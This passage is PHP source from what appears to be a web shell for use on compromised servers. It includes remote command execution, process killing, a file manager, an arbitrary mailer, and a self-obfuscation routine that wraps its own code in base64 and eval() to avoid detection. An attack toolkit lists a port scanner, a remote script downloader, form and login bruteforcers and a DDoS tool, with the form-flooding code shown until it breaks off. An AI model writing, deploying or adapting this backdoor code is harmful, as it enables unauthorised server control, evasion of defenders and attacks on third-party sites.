			$msg=$_REQUEST['message'];
			$attachment=$_REQUEST['attachment'];
			$uid=md5(uniqid(time()));

			$headers[]="From: $from";
			$headers[]="Reply-To: $reply";
			$headers[]="To: $to";
			if(!empty($cc)) $headers[]='Cc: $cc';
			if(!empty($bcc)) $headers[]='Bcc: $bcc';
			$headers[]="MIME-Version: 1.0";
			$headers[]="Content-Type: multipart/mixed; boundary=\"$uid\"";

			$messages[]="--$uid";
		    $messages[]="Content-type: text/html; charset=\"iso-8859-1\"";
		    $messages[]="Content-Transfer-Encoding: 8bit";
		    $messages[]="";
		    $messages[]="$msg";
		    $messages[]="";

			if(is_file($attachment))
			{
				$content=file_get_contents($attachment);
				$content=chunk_split(B64E($content));
				$name=basename($attachment);
				$mime=mime_content_type($attachment);

				$messages[]="--$uid";
			    $messages[]="Content-Type: $mime; name=\"$name\"";
			    $messages[]="Content-Transfer-Encoding: base64";
			    $messages[]="Content-Disposition: attachment";
			    $messages[]="";
			    $messages[]="$content";
			    $messages[]="";
			    $messages[]="--$uid--";
			}

			$message=implode("
",$messages);
			$header=implode("
",$headers);

			if(mail($to,$subject,$message,$header))
			{
				print "Email Send";
			}
			else 
			{
				$error=error_get_last();
				print "Error :" . $error['message'];
			}
			exit;
		}
	}
	if($_REQUEST['x']=='process')
	{
		printf("<div id='process-kill'><form class='new' method='post' action='?x=process&xa=kill'>
					<label>PID</label> <input type='text' name='pid'/>
					<input type='submit' value='Kill'/><br>
					<label>Name</label> <input type='text' name='name'/>
					<input type='submit' value='Kill'/>
				</form></div>");

		if(any("xa",$_REQUEST)&&$_REQUEST['xa']=="kill")
		{
			$pid=$_REQUEST['pid'];
			$name=$_REQUEST['name'];

			if(Unix())
			{
				$kill=Execute("kill 9 $pid");
				$kill=Execute("kill 9 $name");
				if($kill) print '<font class="off">Process Killed</font>';
			}
			else
			{
				$kill=Execute("taskkill /f /pid $pid");
				$kill=Execute("taskkill /f /im $name");
				if($kill) print '<font class="off">Process Killed</font>';
			}
		}

		if(Unix())
		{
			$ret=iconv('UTF-8','UTF-8',Execute('ps aux'));
			print '<div id="process-list"><pre>'.$ret.'</pre></div>';
		}
		else
		{
			$ret=iconv('Windows-1251','UTF-8',Execute('tasklist'));
			print '<div id="process-list"><pre>'.$ret.'</pre></div>';
		}
	}
	if($_REQUEST['x']=='shells')
	{
		print "Coming Soon";
	}
	if($_REQUEST['x']=='symlink')
	{
		print "Coming Soon";
	}
	if($_REQUEST['x']=="account")
	{
		printf("<div id='account'><form class='new' method='post' action='?x=account&xa=change'>
					<label>Username</label> <input type='text' name='change-username' autocomplete='off' value='%s'/> <br>
					<label>Password</label> <input type='text' name='change-password' autocomplete='off'value=''/><br>
					<input type='submit' value='Change' onclick=\"return confirm('Sure ?');\"/>
				</form></div>",B64D($account[0]));

		if(any("xa",$_REQUEST)&&$_REQUEST['xa']=="change")
		{
			$filename=script_filename;
			$username=$_REQUEST['change-password'];
			$password=$_REQUEST['change-username'];

			if (!empty($username)&&!empty($password))
			{
				$user_from=$account[0];
				$user_to=B64E($password);
				$content=file_get_contents($filename);
				$chunk=explode($user_from,$content);
				$content=implode($user_to,$chunk);
				$change=file_put_contents($filename,$content);

				$pass_from=$account[1];
				$pass_to=sha1(md5($username));
				$content=file_get_contents($filename);
				$chunk=explode($pass_from,$content);
				$content=implode($pass_to,$chunk);
				$change=file_put_contents($filename,$content);

				if($change)
				{
					session_destroy();
					session_regenerate_id();
					header('location:'.php_self);
				}
				else
				{
					printf("Error change account");
				}
			}
			else
			{
				printf("<b class='off'>Mistakes !</b>");
			}
		}
	}
	if($_REQUEST['x']=="action")
	{
		$files=any('chk',$_REQUEST)?$_REQUEST['chk']:array();
		$value=any('action-value',$_REQUEST)?$_REQUEST['action-value']:$_REQUEST['action-option'];
		$tmp="";
		$row="";
		$count_dirs=0;
		$count_files=0;
		
		foreach($files as $file)
		{
			if(is_dir(urld($file)))
			{
				$count_dirs++;
			}
			if(is_file(urld($file)))
			{
				$count_files++;
			}

			$row.="<tr><td>".urld($file)."</td></tr>";
			$tmp.=urld($file).",";
		}

		if(count($files)==1&&$value=='copy')
		{
			header('location:'.php_self.'?a=cp&r='.$files[0]);
		}

		if(count($files)==1&&$value=='move')
		{
			header('location:'.php_self.'?a=mv&r='.$files[0]);
		}

		if(!any('xa',$_REQUEST)&&$value=='delete')
		{
			printf("<h4>Dir's: [%s] File's: [%s]</h4>
					<table class='table'>%s</table>
					<form class='new' method='post' action='?x=action&xa=option'>
						<input type='hidden' name='action-option' value='%s'/>
						<input type='hidden' name='tmp' value='%s'/>
						<input type='submit' value='Remove'/>
					</form>",
					$count_dirs,
					$count_files,
					$row,
					$value,
					$tmp);
		}

		if(!any('xa',$_REQUEST)&&$value!='delete')
		{
			printf("<h4>Dir's: [%s] File's: [%s]</h4>
					<table class='table'>%s</table>
					<form class='new' method='post' action='?x=action&xa=option'>
						<script>window.onload=function(e){document.getElementById('action_option').value='%s'}</script>
						<select name='action-option' id='action_option'>
							<option value='copy'>Copy</option>
							<option value='move'>Move</option>
							<option value='zip'>Archive (zip)</option>
							<option value='unzip'>Extract to (zip)</option>
						</select>
						<i>-></i>
						<input type='hidden' name='tmp' value='%s'/>
						<input type='text' name='newloc' value='%s'/>
						<input type='submit' value='Process'/>
					</form>",
					$count_dirs,
					$count_files,
					$row,
					$value,
					$tmp,
					$dir._);
		}

		if(any('xa',$_REQUEST)&&$_REQUEST['xa']=='option')
		{
			$files=array_filter(explode(',',$_REQUEST['tmp']));
			$newloc=trim(@$_REQUEST['newloc']);
			$succ=0;
			$fail=0;

			if($_REQUEST['action-option']=='copy')
			{
				if(file_exists($newloc)&&is_dir($newloc))
				{
					foreach($files as $file)
					{
						if(CopyRecursive($file,rtrim($newloc,_)._.basename($file)))
						{
							$succ++;
						}
						else
						{
							$fail++;
						}
					}
					print "Success: $succ | Failed: $fail";
				}
				else
				{
					print "Target not exists !";
				}
			}

			if($_REQUEST['action-option']=='move')
			{
				if(file_exists($newloc)&&is_dir($newloc))
				{
					foreach($files as $file)
					{
						if(MoveRecursive($file,rtrim($newloc,_)._.basename($file)))
						{
							$succ++;
						}
						else
						{
							$fail++;
						}
					}
					print "Success: $succ | Failed: $fail";
				}
				else
				{
					print "Target not exists !";
				}
			}

			if($_REQUEST['action-option']=='delete')
			{
				foreach($files as $file)
				{
					if(Remove($file))
					{
						$succ++;
					}
					else
					{
						$fail++;
					}
				}
				print "Success: $succ | Failed: $fail";
			}

			if($_REQUEST['action-option']=='zip')
			{
				if(pathinfo($newloc)['extension']=='zip')
				{
					$zip=new ZipArchive;

					if ($zip->open($newloc,ZipArchive::CREATE|ZipArchive::OVERWRITE)===TRUE) 
					{
						foreach($files as $file)
						{
							if(is_dir($file))
							{
								$zip->addEmptyDir(basename($file));

								$recur=new RecursiveIteratorIterator(
								    new RecursiveDirectoryIterator($file),
								    RecursiveIteratorIterator::LEAVES_ONLY 
								);

								foreach ($recur as $key => $val) 
								{
								    if(basename($key)!="..")
									{
									    if(is_dir($key))
										{
											$zdir=str_replace($file,basename($file),realpath($key));
											$zip->addEmptyDir($zdir);
										}
										elseif(is_file($key))
										{
											$zfile=str_replace($file,basename($file),realpath($key));
											$zip->addFile(realpath($key),$zfile);
										}
									}
								}
							}
							elseif(is_file($file))
							{
								$zip->addFile($file,basename($file));
							}
						}

					    $zip->close();
					    print 'Zip Created';
					}
					else 
					{
					    print 'Failed';
					}
				}
				else
				{
					print 'Extension must Zip';
				}
			}

			if($_REQUEST['action-option']=='unzip')
			{
				if(file_exists($newloc)&&is_dir($newloc))
				{
					foreach($files as $file)
					{
						if(pathinfo($newloc)['extension']=='zip')
						{
							$zip=new ZipArchive;
					
							if ($zip->open($file)===TRUE) 
							{
							    $zip->extractTo($newloc);
							    $zip->close();
							    $succ++;
							}
							else 
							{
							    $fail++;
							}
						}
						else 
						{
						    $fail++;
						}
						
					}
					print "Success: $succ | Failed: $fail";
				}
				else
				{
					print "Target not exists !";
				}
			}
		}
	}
	if($_REQUEST['x']=="find")
	{
		$recur=new RecursiveIteratorIterator(
		    new RecursiveDirectoryIterator($dir),
		    RecursiveIteratorIterator::LEAVES_ONLY 
		);

		if(any('find-value',$_REQUEST)&&!empty($_REQUEST['find-value']))
		{
			$result="";
			$res_=0;

			foreach ($recur as $key => $val) 
			{
				if(basename($key)!="..")
				{
					if(strpos(realpath($key),$_REQUEST['find-value'])!== false) 
					{
						$result.=sprintf("<tr>
								<td></td>
								<td><a href='?g=%s' title='%s' target='_blank'>%s</a></td>
								<td><a href='?g=%s' title='%s' target='_blank'>%s</a></td>
								<td><center>%s</center></td>
								</tr>",
								substr(realpath($key),0,strrpos(realpath($key),_)),
								substr(realpath($key),0,strrpos(realpath($key),_)),
								substr(realpath($key),0,strrpos(realpath($key),_)),
								realpath($key),
								realpath($key),
								basename(realpath($key)),
								GetFileTime(realpath($key),'modify')
						);

						$res_++;
					}
				}
			}

			printf("
					<form class='new' method=POST action='?x=find'>
						<input type='text' name='find-value' id='find-action' value='%s'/><input type='submit' name='find-button' value='Find'/>
						<label style='margin-left:10px'><font class='on'>Find: '%s' | Found's: %s</font></label>	
					</form>
					<div class='auto-number'>
						<table class='table sortable'>
							<thead>
								<tr>
									<th class='sorttable_nosort' width='15'>No.</th>
									<th>Directory</th>
									<th>Name</th>
									<th>Modified</th>
								</tr>
							<tbody>%s</tbody>
						</table>
					</div>",$_REQUEST['find-value'],$_REQUEST['find-value'],$res_,$result);
		}
		else
		{
			print "<form class='new' method=POST action='?x=find'>
						<input type='text' name='find-value'/><input type='submit' name='find-button' value='Find'/>
						<label style='margin-left:10px'><font color='red'>Whoops, Nothing to Found's !</font></label>
					</form>";
		}
	}
	if($_REQUEST['x']=="update")
	{
		$link_update='';
		$current_version=2.7; //New Version Released

		if($config['debug']==true)
		{
			$latest_version=$current_version+0.1; //Test Update latest version -/+ 0.1
		}
		else
		{
			$git_script=GetUrlContent($link_update);
			$get_version=strpos($git_script,"current_version");
			$version=substr($git_script,$get_version+16,3);
			$latest_version=is_numeric($version)?$version:$current_version;
		}

		$status="";
		if((float)$latest_version>(float)$current_version)
		{
			if($config['debug']==true)
			{
				$status.='New Version Available '.$latest_version.'<br>Setting Debug to False for Activate this Feature';
			}
			else
			{
				$status.='New Version Available '.$latest_version.'<br>Download -> [<font class="on"><a href="'.$link_update.'" target="_blank">link</a></font>]';
			}
		}
		else
		{
			$status.='Latest Version '.$current_version;
		}

		Printf("<div id='update'>
					<a href='https://www.gnu.org/licenses/gpl-3.0.txt' target='_blank' title='License'>
						<img src='https://www.gnu.org/graphics/lgplv3-88x31.png'/>
					</a><br><br>%s
				</div>",$status);
	}
	if($_REQUEST['x']=="self-encryptor")
	{
		if($php_script=htmlentities(@file_get_contents(__FILE__)))
		{
			$asu=strpos($php_script,$_SESSION["action"]["password"]);
			$temp=substr($php_script,$asu+48);
			$rand="\$".substr(str_shuffle("abcdefghijklmnopqrstuvwxyz"),0,rand(1,3));
			$rand2="\$".substr(str_shuffle("abcdefghijklmnopqrstuvwxyz"),0,rand(2,5));
			$_a="b";$_b="a";$_c="s";$_d="e";$_e="6";$_f="4";
			$_g="_";$_h="e";$_i="n";$_j="c";$_k="o";$_l="d";$_m="e";
			$b64e=$_a.$_b.$_c.$_d.$_e.$_f.$_g.$_h.$_i.$_j.$_k.$_l.$_m;
			$b64d=$_a.$_b.$_c.$_d.$_e.$_f.$_g.$_l.$_m.$_j.$_k.$_l.$_m;
			$b64=array(
				'"base64_decode"',
				'strrev("ed"."oce"."d_4"."6es"."ab")',
				'strrev("e"."doc"."ed_"."46e"."sab")',
				'"b"."as"."e6"."4_"."d"."ec"."o"."de"',
				'"ba"."se"."6"."4_d"."e"."cod"."e"' 
			);
			$rand_b64=array_rand($b64);
			$rand3=$b64[$rand_b64];
			$var1=$rand.'="'.$_SESSION["action"]["username"].':'.$_SESSION["action"]["password"].'";';
			$var2=$rand2.'='.$rand3.';';
			$var=array(
				$var1.$var2,
				$var2.$var1
			);
			$rand_var=array_rand($var);
			$rand4=$var[$rand_var];
			$self=preg_replace("/\\$w/",$rand,$temp); // Change Variable $w to Random 
			$src_='';
			$src_.='<?php ';
			$src_.=$rand4;
			$src_.='eval('.$rand2.'("';
			$src_.=$b64e(htmlspecialchars_decode($self));
			$src_.='"))';
			$src_.='?>';
			$name=!empty($_REQUEST['name'])?$_REQUEST['name']:'bat_encrypt.php';
			$file=dirname(__FILE__)._.$name;
			$op=fopen($file,'w+');
			fwrite($op,$src_);
			fclose($op);
			printf("<center class='on'>SELF ENCRYPT CREATED !!!</center>
					<center class='on'>
						Link -> <a href='%s' target='_blank'><u>%s</u></a>
					</center>",GetUrlFromPath($file),$name);
		}
		else
		{
			print "<center class='off'>SELF ENCRYPT ENABLE !!!</center>";
		}
	}
}

/* START CUSTOM TOOLZ */
if(any("z",$_REQUEST))
{
	$z=$_REQUEST['z'];

	print MenuTools(array(
	"target-map"=>array("title"=>"Target Map","ver"=>"2.0","auth"=>"beaver"),
	"port-scanner"=>array("title"=>"Scan Port","ver"=>"1.0","auth"=>"beaver"),
	"script-loader"=>array("title"=>"Script Loader","ver"=>"1.0","auth"=>"beaver"),
	"encryptor"=>array("title"=>"Encryptor","ver"=>"1.1","auth"=>"beaver"),
	"form-bruteforces"=>array("title"=>"Form Bruteforces","ver"=>"1.0","auth"=>"beaver"),
	"login-bruteforces"=>array("title"=>"Login Bruteforces","ver"=>"1.0","auth"=>"beaver"),
	"mass-tools"=>array("title"=>"Mass Tools","ver"=>"1.0","auth"=>"beaver"),
	"ddos-attack"=>array("title"=>"DDOS Attack","ver"=>"2.0","auth"=>"beaver"),
	));

	print "<div id='tools'>";

	if(empty($z))
	{
		printf("<div id='thanks'>
					<h2>Nothing Is Secure...</h2>
					<h3>WHY SO serious ?!</h3>
				</div>");
	}
	if($z=="target-map")
	{
		print "<div class='tools-header'>
				  <h3>".$menu_tools[$z]['title']." v".$menu_tools[$z]['ver']."</h3>
				  <h3> by: ".$menu_tools[$z]['auth']."</h3>
			  </div>";

		printf("<div id='target-map'>
			<form onsubmit='return false;' class='new'>
				<input type='text' id='map-ip' value='%s'/>
				<input type='submit' value='Trace' onclick=\"return getAjax(true,'target-info','POST','?z=target-map&ip='+document.getElementById('map-ip').value);\"/><br>
			</form>
		</div>
		<div id='target-info' class='result'></div>",gethostbyname(http_host));

		if(any("ip",$_REQUEST))
		{
			ob_clean();
			$ip=!empty($_REQUEST['ip']) ? $_REQUEST['ip'] : gethostbyname(http_host);
			$valid=filter_var($ip,FILTER_VALIDATE_IP) or die('Invalid IP Address');
			if($_REQUEST['ip']==gethostbyname(http_host)) 
			{
				$url=B64D("zSI9xWleO7odODUdzH4qy79ezmMeyr1=");
				$geoip=GetUrlContent($url);
				$json=json_decode($geoip,true);
			}
			else
			{
				$url=sprintf(B64D("zSI9xWleO7odODUdzH4qy79ezmMeyr1=")."%s",$ip);
				$geoip=GetUrlContent($url);
				$json=json_decode($geoip,true);
			}
			$url=sprintf(B64D("zSI9xSN3Ob0gBCYaOnwey7whAH4kwX0gBCYa")."?q=%s,%s&z=10&output=embed",$json['lat'],$json['lon']);
			printf("<div class='divide'>
						<div class='divide-left'>
							<table class='table'>
								<tr><td>AS</td><td>%s</td></tr>
								<tr><td>City</td><td>%s</td></tr>
								<tr><td>Country</td><td>%s</td></tr>
								<tr><td>Country Code</td><td>%s</td></tr>
								<tr><td>ISP</td><td>%s</td></tr>
								<tr><td>Latitude</td><td>%s</td></tr>
								<tr><td>Logitude</td><td>%s</td></tr>
							</table>
						</div>
						<div class='divide-left'>
							<table class='table'>
								<tr><td>Origin</td><td>%s</td></tr>
								<tr><td>IP</td><td>%s</td></tr>
								<tr><td>Region</td><td>%s</td></tr>
								<tr><td>Region Name</td><td>%s</td></tr>
								<tr><td>Timezone</td><td>%s</td></tr>
								<tr><td>Zip</td><td>%s</td></tr>
								<tr><td>Status</td><td>%s</td></tr>
							</table>
						</div>
					</div>
					<iframe src='%s' width='100%%' height='345' frameBorder='0'><iframe>",
					$json['as'],
					$json['city'],
					$json['country'],
					$json['countryCode'],
					$json['isp'],
					$json['lat'],
					$json['lon'],
					$json['org'],
					$json['query'],
					$json['region'],
					$json['regionName'],
					$json['timezone'],
					$json['zip'],
					$json['status'],
					$url);
			exit;
		}
	}
	if($z=="port-scanner")
	{
		print "<div class='tools-header'>
				  <h3>".$menu_tools[$z]['title']." v".$menu_tools[$z]['ver']."</h3>
				  <h3> by: ".$menu_tools[$z]['auth']."</h3>
			  </div>";

		printf("<div id='port-scan'>
					<form onsubmit='return false;' class='new'>
						<label>Host Port</label><input type='text' id='ip-port' value='%s'/><br>
						<label>Start Port</label><input type='text' id='start-port' value='1'/><br>
						<label>End Port</label><input type='text' id='end-port' value='65535'/><br>
						<label>Methode</label><select id='scan-port'><option value='1'>socket_connect</option><option value='2'>fsockopen</option></select><br>
						<input type='submit' onclick=\"return getAjax(true,'port-result','POST','?z=port-scanner&x=scan-port&ip='+document.getElementById('ip-port').value+'&sp='+document.getElementById('start-port').value+'&ep='+document.getElementById('end-port').value+'&mtd='+document.getElementById('scan-port').value);\" value=Scan />
						<input type='submit' onclick=\"return ajaxAbort(true,'port-result')\" value=Cancel />
					</form>
				</div>
				<div id='port-result' class='result'></div>",gethostbyname(http_host));

		if(any("x",$_REQUEST)&&$_REQUEST['x']=="scan-port")
		{
			ob_clean();
			$host=$_REQUEST['ip'];
			$from=$_REQUEST['sp'];
			$to  =$_REQUEST['ep'];
			$mtd =$_REQUEST['mtd'];
			switch($mtd)
			{
				case '1':
					if(function_exists('socket_create'))
					{
						$socket=@socket_create(AF_INET ,SOCK_STREAM ,SOL_TCP); 
						for($conn_port=$from;$conn_port <=$to;$conn_port++)
						{
							$conn=@socket_connect($socket ,$host,$conn_port);
							if($conn) 
							{ 
								print "<br>port $conn_port open";
								socket_close($socket);
								$socket=@socket_create(AF_INET ,SOCK_STREAM ,SOL_TCP);
							}
						}
					}
					else
					{
						print "Error socket_connect<br>";
					}
				break;
				case '2':
					for($conn_port=$from;$conn_port <=$to;$conn_port++)
					{
						$conn=@fsockopen($host,$conn_port);
						if($conn)
						{
							print "<br>port $conn_port open";
							fclose($conn);
						}
					}
				break;
			}
			print "<br>Scan Finish.";
			exit;
		}
	}
	if($z=="script-loader")
	{
		print "<div class='tools-header'>
				  <h3>".$menu_tools[$z]['title']." v".$menu_tools[$z]['ver']."</h3>
				  <h3> by: ".$menu_tools[$z]['auth']."</h3>
			  </div>";

		$path=dirname(__FILE__)._.'script-loader';
		if(!is_dir($path)) mkdir($path,0755);

		$recur=new RecursiveIteratorIterator(
		    new RecursiveDirectoryIterator($path),
		    RecursiveIteratorIterator::LEAVES_ONLY 
		);

		$result="";
		foreach ($recur as $key => $val) 
		{
			if(basename($key)!=".."&&basename($key)!=".")
			{
				$result.=sprintf("<tr>
						<td></td>
						<td><a href='%s' target='_blank'>%s</a></td>
						<td><center>%s</center></td>
						</tr>",
						GetUrlFromPath(realpath($key)),
						basename(realpath($key)),
						GetFileTime(realpath($key),'modify')
				);
			}
		}

		printf("<div id='script-loader'>
					<div class='divide'>
						<div class='divide-left'>
							<form onsubmit='return false;' class='new'>
								<label>Url</label><input type='text' id='url-source' value=''/><br>
								<label>Filename</label><input type='text' id='file-name' value=''/><br>
								<input type='submit' onclick=\"return getAjax(true,'download-result','POST','?z=script-loader&url='+document.getElementById('url-source').value+'&filename='+document.getElementById('file-name').value);\"/><br>
								<div id='download-result' class='result'></div>
							</form>
						</div>
						<div class='divide-right'>
							<fieldset>
								<legend>List's</legend>
								<div class='auto-number'>
									<table class='table'>
									<thead><tr><th>No.</th><th>Name</th><th>Modified</th>
									<tbody>%s</tbody>
									</table>
								</div>
							</fieldset>
						</div>
					</div>
				</div>",$result);

		if(any("url",$_REQUEST)&&any("filename",$_REQUEST))
		{
			ob_clean();
			$url=$_REQUEST['url'];
			$filename=$_REQUEST['filename'];
			$dest=rtrim($path,_)._.$filename;
			if(GetUrlExists($url)&&!empty($filename))
			{
				if(GetDownloadUrl($url,$dest))
				{
					$url=GetUrlFromPath($dest);
					printf("Success -> <a href='$url' target='_blank'><u>Link</u></a>");
				}
				else
				{
					print "<br>Failed";
				}
				print "<br>Finish";
			}
			else
			{
				print "<br>Mistakes";
			}
			exit;
		}
	}
	if($z=="encryptor")
	{
		print "<div class='tools-header'>
				  <h3>".$menu_tools[$z]['title']." v".$menu_tools[$z]['ver']."</h3>
				  <h3> by: ".$menu_tools[$z]['auth']."</h3>
			  </div>";

		printf("<div id='script-loader'>
			<form onsubmit='return false;' class='new'>
				<div class='hash-control'>
					<div class='hash'>
						<input type='radio' name='encr' value='basic' checked><label>Basic</label>
						<select id='basic-hash'>
							<option value='md5'>Md5</option>
							<option value='asc'>Char</option>
							<option value='chr'>Ascii</option>
							<option value='sha1'>Sha1</option>
							<option value='crc32'>Crc32</option>
							<option value='B64E'>B64E</option>
							<option value='B64D'>B64D</option>
							<option value='urlencode'>URL Encode</option>
							<option value='urldecode'>URL Decode</option>
							<option value='strlen'>String Length</option>
							<option value='strrev'>String Reverse</option>
							<option value='base64_encode'>Base64 Encode</option>
							<option value='base64_decode'>Base64 Decode</option>
							<option value='entties'>Htmlentities</option>
							<option value='spechar'>Htmlspecialchars</option>
						</select>
					</div>
					<div class='hash'>
						<input type='radio' name='encr' value='extra'><label>Extra</label>
						<select id='extra-hash'>
							<option value='asc-hex'>Ascii => Hex</option>
							<option value='asc-bin'>Ascii => Binary</option>
							<option value='hex-asc'>Hex => Ascii</option>
							<option value='hex-bin'>Hex => Binary</option>
							<option value='bin-asc'>Binary => Ascii</option>
							<option value='bin-hex'>Binary => Hex</option>
						</select>
					</div>
					<div class='hash'>
						<input type='radio' name='encr' value='crypt'><label>Crypt</label>
						<input type='text' id='crypt-salt' name='salt' placeholder='\$alt'/>
					</div>
					<div class='hash'>
						<input type='radio' name='encr' value='hash'><label>Hash</label>
						<select id='hash-hash'><option value='md2'>md2</option><option value='md4'>md4</option><option value='md5'>md5</option><option value='sha1'>sha1</option><option value='sha256'>sha256</option><option value='sha384'>sha384</option><option value='sha512'>sha512</option><option value='ripemd128'>ripemd128</option><option value='ripemd160'>ripemd160</option><option value='ripemd256'>ripemd256</option><option value='ripemd320'>ripemd320</option><option value='whirlpool'>whirlpool</option><option value='tiger128,3'>tiger128,3</option><option value='tiger160,3'>tiger160,3</option><option value='tiger192,3'>tiger192,3</option><option value='tiger128,4'>tiger128,4</option><option value='tiger160,4'>tiger160,4</option><option value='tiger192,4'>tiger192,4</option><option value='snefru'>snefru</option><option value='gost'>gost</option><option value='adler32'>adler32</option><option value='crc32'>crc32</option><option value='crc32b'>crc32b</option><option value='haval128,3'>haval128,3</option><option value='haval160,3'>haval160,3</option><option value='haval192,3'>haval192,3</option><option value='haval224,3'>haval224,3</option><option value='haval256,3'>haval256,3</option><option value='haval128,4'>haval128,4</option><option value='haval160,4'>haval160,4</option><option value='haval192,4'>haval192,4</option><option value='haval224,4'>haval224,4</option><option value='haval256,4'>haval256,4</option><option value='haval128,5'>haval128,5</option><option value='haval160,5'>haval160,5</option><option value='haval192,5'>haval192,5</option><option value='haval224,5'>haval224,5</option><option value='haval256,5'>haval256,5</option></select>
						<input type='checkbox' id='hash-raw'/> Raw
					</div>
					<div class='hash'>
						<input type='submit' onclick=\"
						url='';
						textencode=window.btoa(document.getElementById('hashtext').value);
						radios=document.getElementsByName('encr');
						for(var i=0,length=radios.length;i<length;i++){
							if (radios[i].checked){
								switch(radios[i].value){
									case 'basic':
										url='?z=encryptor&opt=basic&hash='+document.getElementById('basic-hash').value+'&text-encode='+textencode;
									break;
									case 'extra':
										url='?z=encryptor&opt=extra&hash='+document.getElementById('extra-hash').value+'&text-encode='+textencode;
									break;
									case 'crypt':
										url='?z=encryptor&opt=crypt&salt='+document.getElementById('crypt-salt').value+'&text-encode='+textencode;
									break;
									case 'hash':
										url='?z=encryptor&opt=hash&hash='+document.getElementById('hash-hash').value+'&raw='+document.getElementById('hash-raw').checked+'&text-encode='+textencode;
									break;
								}
								break;
							}
						}
						return getAjax(false,'hashresult','POST',url);
						\"/>
						<input type='submit' onclick=\"
							tempi=document.getElementById('hashresult').value;
							tempi1=document.getElementById('hashtext').value;
							document.getElementById('hashtext').value=tempi.trim();
							document.getElementById('hashresult').value=tempi1.trim();
						\" value='Swap'/>
					</div>
				</div>
				<div class='hash-capture'>
					<div class='hash-capture-left'>
						<label>String</label><textarea id='hashtext'></textarea>
						<input type='submit' onclick=\"
							document.getElementById('hashtext').value='';
						\" value='Clear'/>
					</div>
					<div class='hash-capture-right'>
						<label>Result</label><textarea id='hashresult'></textarea>
						<input type='submit' onclick=\"
							document.getElementById('hashresult').value='';
						\" value='Clear'/>
					</div>
				</div>
			</form>
		</div>");

		function chr_asc($str){
			$asc='';
			for($i=0;$i<strlen($str);$i++) 
				$asc.=ord($str{$i}).' ';
			return rtrim($asc);
		}

		function asc_chr($asc){
			$str='';
			if (strpos($asc,' ')){
				$exps=explode(' ',$asc);
				foreach($exps as $exp)
					$str.=chr($exp);
			}else{
				$str=chr($asc);
			}
			return $str;
		}

		function asc_hex($asc){
			$hex='';
			for ($i=0;$i<strlen($asc);$i++) 
				$hex.=sprintf("%02x",ord(substr($asc,$i,1)));
			return $hex;
		}

		function hex_asc($hex){
			$asc='';
			for ($i=0;$i<strlen($hex);$i+=2) 
				$asc.=chr(hexdec(substr($hex,$i,2)));
			return $asc;
		}

		function hex_bin($hex){
			$bin='';
			for($i=0;$i<strlen($hex);$i++)
				$bin.=str_pad(decbin(hexdec($hex{$i})),4,'0',STR_PAD_LEFT);
			return $bin;
		}

		function bin_hex($bin){
			$hex='';
			for($i=strlen($bin)-4;$i>=0;$i-=4)
				$hex.=dechex(bindec(substr($bin,$i,4)));
			return strrev($hex);
		}

		function asc_bin($asc){
			$hex=asc_hex($asc);
			return hex_bin($hex);
		}

		function bin_asc($bin){ 
		    $hex=bin_hex($bin);
			return hex_asc($hex);
		}
		
		if(any("opt",$_REQUEST))
		{
			ob_clean();
			$opt=$_REQUEST['opt'];
			$_a="b";$_b="a";$_c="s";$_d="e";$_e="6";$_f="4";
			$_g="_";$_h="e";$_i="n";$_j="c";$_k="o";$_l="d";$_m="e";
			$b64e=$_a.$_b.$_c.$_d.$_e.$_f.$_g.$_h.$_i.$_j.$_k.$_l.$_m;
			$b64d=$_a.$_b.$_c.$_d.$_e.$_f.$_g.$_l.$_m.$_j.$_k.$_l.$_m;
			$text=$b64d($_POST['text-encode']);
			if ($opt=='basic')
			{
				$hash=$_REQUEST['hash'];
				switch($hash)
				{
					case "md5":print md5($text);break;
					case "sha1":print sha1($text);break;
					case "chr":print asc_chr($text);break;
					case "asc":print chr_asc($text);break;
					case "crc32":print crc32($text);break;
					case "strlen":print strlen($text);break;
					case "strrev":print strrev($text);break;
					case "urlencode":print urlencode($text);break;
					case "urldecode":print urldecode($text);break;
					case "entties":print htmlentities($text);break;
					case "spechar":print htmlspecialchars($text);break;
					case "base64_encode":print $b64e($text);break;
					case "base64_decode":print $b64d($text);break;
					case "B64E":print B64E($text);break;
					case "B64D":print B64D($text);break;
				}
			}
			elseif($opt=='extra')
			{
				$hash=$_REQUEST['hash'];
				switch($hash)
				{
					case "chr-asc":print str_asc($text);break;
					case "asc-chr":print asc_str($text);break;
					case "asc-hex":print asc_hex($text);break;
					case "hex-asc":print hex_asc($text);break;
					case "hex-bin":print hex_bin($text);break;
					case "bin-hex":print bin_hex($text);break;
					case "asc-bin":print asc_bin($text);break;
					case "bin-asc":print bin_asc($text);break;
				}
			}
			elseif($opt=='crypt')
			{
				$salt=$_REQUEST['salt'];
				print crypt($text,$salt);
			}
			elseif($opt=='hash')
			{
				$hash=$_REQUEST['hash'];
				$raw=$_REQUEST['raw'];
				if($raw==true)
				{
					print hash($hash,$text,true);
				}
				else
				{
					print hash($hash,$text);
				}
			}
			exit;
		}
	}
	if($z=="form-bruteforces")
	{
		print "<div class='tools-header'>
			  <h3>".$menu_tools[$z]['title']." v".$menu_tools[$z]['ver']."</h3>
			  <h3> by: ".$menu_tools[$z]['auth']."</h3>
		  </div>";

		 $exp=array(
		 	'{',
		 	'"name":"Handsome",',
		 	'"email":"[email protected]",',
		 	'"subject":"WHOOPS YOU GOT E-MAIL ?!",',
		 	'"message":"HA HA HA HA HA HA HA HA",',
		 	'}');

		printf("<div class='divide'>
				<div class='divide-left'>
					<form onsubmit='return false;' class='new'>
						<label>Url Action</label><input type='text' id='form-url' placeholder='http://'/><br>
						<label>Count's</label><input type='number' id='form-count' value='100' min='10' autocomplete='off'/><br>
						<label>Parameter (JSON)</label>
						<textarea id='form-parameter'>%s</textarea>
						<input type='submit' onclick=\"return ajaxAbort(true,'form-result')\" value=Cancel />
						<input type='submit' value='Attack' onclick=\"return getAjax(true,'form-result','POST','?z=form-bruteforces&url='+document.getElementById('form-url').value+'&parameter='+document.getElementById('form-parameter').value+'&count='+document.getElementById('form-count').value);\"/><br>
					</form>
				</div>
				<div class='divide-right'>
					<fieldset>
						<legend>Result's</legend>
						<div id='form-result' class='result'></div>
					</fieldset>
				</div>
			</div>",implode($exp,"
"));

		if(any("url",$_REQUEST)&&any("parameter",$_REQUEST))
		{
			ob_clean();
			$start=$succ=$fail=0;
			$url=$_REQUEST['url'];
			$count=$_REQUEST['count'];
			$parameter=$_REQUEST['parameter'];
			$content=json_decode($parameter,true);
			if(!is_array($content))$content=array();
			do {$start++;
				$ch=curl_init();
				curl_setopt($ch,CURLOPT_USERAGENT,$agent);
				curl_setopt($ch,CURLOPT_URL,$url);
				curl_setopt($ch,CURLOPT_POST,1);
